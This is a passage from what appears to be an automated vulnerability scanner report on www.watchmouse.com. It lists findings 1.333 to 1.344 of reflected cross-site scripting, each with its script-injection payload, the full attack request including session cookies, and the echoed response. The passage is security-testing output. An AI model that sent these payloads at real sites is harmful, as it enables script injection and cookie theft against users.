Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-52a07aeac0146c340e8c75b1f55d3842"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13325

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/docs/WatchMouse_Scripting_Howto.pdfac803"><script>alert(1)</script>161de0cf20a" method="post">
...[SNIP]...

1.333. http://www.watchmouse.com/assets/img/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/img/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 645c0"><script>alert(1)</script>40b63ed072a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets645c0"><script>alert(1)</script>40b63ed072a/img/favicon.ico HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-1098e9db0fe9c510b88e7e17fa9c3595"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets645c0"><script>alert(1)</script>40b63ed072a/img/favicon.ico" method="post">
...[SNIP]...

1.334. http://www.watchmouse.com/assets/img/favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/img/favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c01ba"><script>alert(1)</script>918860c39ed was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/imgc01ba"><script>alert(1)</script>918860c39ed/favicon.ico HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-3dadb7e6f1301f5005a30ed580c52755"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/imgc01ba"><script>alert(1)</script>918860c39ed/favicon.ico" method="post">
...[SNIP]...

1.335. http://www.watchmouse.com/assets/img/favicon.ico [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/img/favicon.ico

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9735e"><script>alert(1)</script>00477431364 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/img/favicon.ico9735e"><script>alert(1)</script>00477431364 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-29244c4d7a932ed992f4b452587731c6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/img/favicon.ico9735e"><script>alert(1)</script>00477431364" method="post">
...[SNIP]...

1.336. http://www.watchmouse.com/assets/js/easySlider1.7.packed.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/easySlider1.7.packed.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5992"><script>alert(1)</script>79192fdc272 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetsc5992"><script>alert(1)</script>79192fdc272/js/easySlider1.7.packed.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.4.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-6183b6e18c71236ef619923b826b92d1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetsc5992"><script>alert(1)</script>79192fdc272/js/easySlider1.7.packed.js" method="post">
...[SNIP]...

1.337. http://www.watchmouse.com/assets/js/easySlider1.7.packed.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/easySlider1.7.packed.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2aa16"><script>alert(1)</script>d47c58a6ac3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js2aa16"><script>alert(1)</script>d47c58a6ac3/easySlider1.7.packed.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.4.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-771b83200fa6d1c2a1c8ef05ed9c5749"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js2aa16"><script>alert(1)</script>d47c58a6ac3/easySlider1.7.packed.js" method="post">
...[SNIP]...

1.338. http://www.watchmouse.com/assets/js/easySlider1.7.packed.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/easySlider1.7.packed.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b695d"><script>alert(1)</script>98bb2971b97 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/easySlider1.7.packed.jsb695d"><script>alert(1)</script>98bb2971b97 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.4.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:03 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-09f7c8db94b1cc48804bacc6e57df92f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/easySlider1.7.packed.jsb695d"><script>alert(1)</script>98bb2971b97" method="post">
...[SNIP]...

1.339. http://www.watchmouse.com/assets/js/fancybox.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/fancybox.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63d29"><script>alert(1)</script>f8f5c150ce6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets63d29"><script>alert(1)</script>f8f5c150ce6/js/fancybox.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f1d57486057c75ddd83b66302305cb75"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets63d29"><script>alert(1)</script>f8f5c150ce6/js/fancybox.js" method="post">
...[SNIP]...

1.340. http://www.watchmouse.com/assets/js/fancybox.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/fancybox.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbbca"><script>alert(1)</script>025207eb5df was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/jsbbbca"><script>alert(1)</script>025207eb5df/fancybox.js HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:52 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-763008a2a55f2157565075c0f128c3fa"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/jsbbbca"><script>alert(1)</script>025207eb5df/fancybox.js" method="post">
...[SNIP]...

1.341. http://www.watchmouse.com/assets/js/fancybox.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/fancybox.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e613"><script>alert(1)</script>3882974db40 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/fancybox.js7e613"><script>alert(1)</script>3882974db40 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297196240.1

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-d3f2f510681c4b32ef1509f391ddc085"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js/fancybox.js7e613"><script>alert(1)</script>3882974db40" method="post">
...[SNIP]...

1.342. http://www.watchmouse.com/assets/js/jquery-1.3.1.min.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/jquery-1.3.1.min.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bdd5"><script>alert(1)</script>033c1cb449d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets9bdd5"><script>alert(1)</script>033c1cb449d/js/jquery-1.3.1.min.js HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:27 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0574923a3a9a0a82adc3a728557f803f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets9bdd5"><script>alert(1)</script>033c1cb449d/js/jquery-1.3.1.min.js" method="post">
...[SNIP]...

1.343. http://www.watchmouse.com/assets/js/jquery-1.3.1.min.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/jquery-1.3.1.min.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ab3e"><script>alert(1)</script>efdf91fc092 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js1ab3e"><script>alert(1)</script>efdf91fc092/jquery-1.3.1.min.js HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-7bc20ea85dc63316f30af09780ebee32"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/js1ab3e"><script>alert(1)</script>efdf91fc092/jquery-1.3.1.min.js" method="post">
...[SNIP]...

1.344. http://www.watchmouse.com/assets/js/jquery-1.3.1.min.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/js/jquery-1.3.1.min.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21fae"><script>alert(1)</script>bb056a11c50 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/js/jquery-1.3.1.min.js21fae"><script>alert(1)</script>bb056a11c50 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ffa5b598bcc5422bad57c8594e70422d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
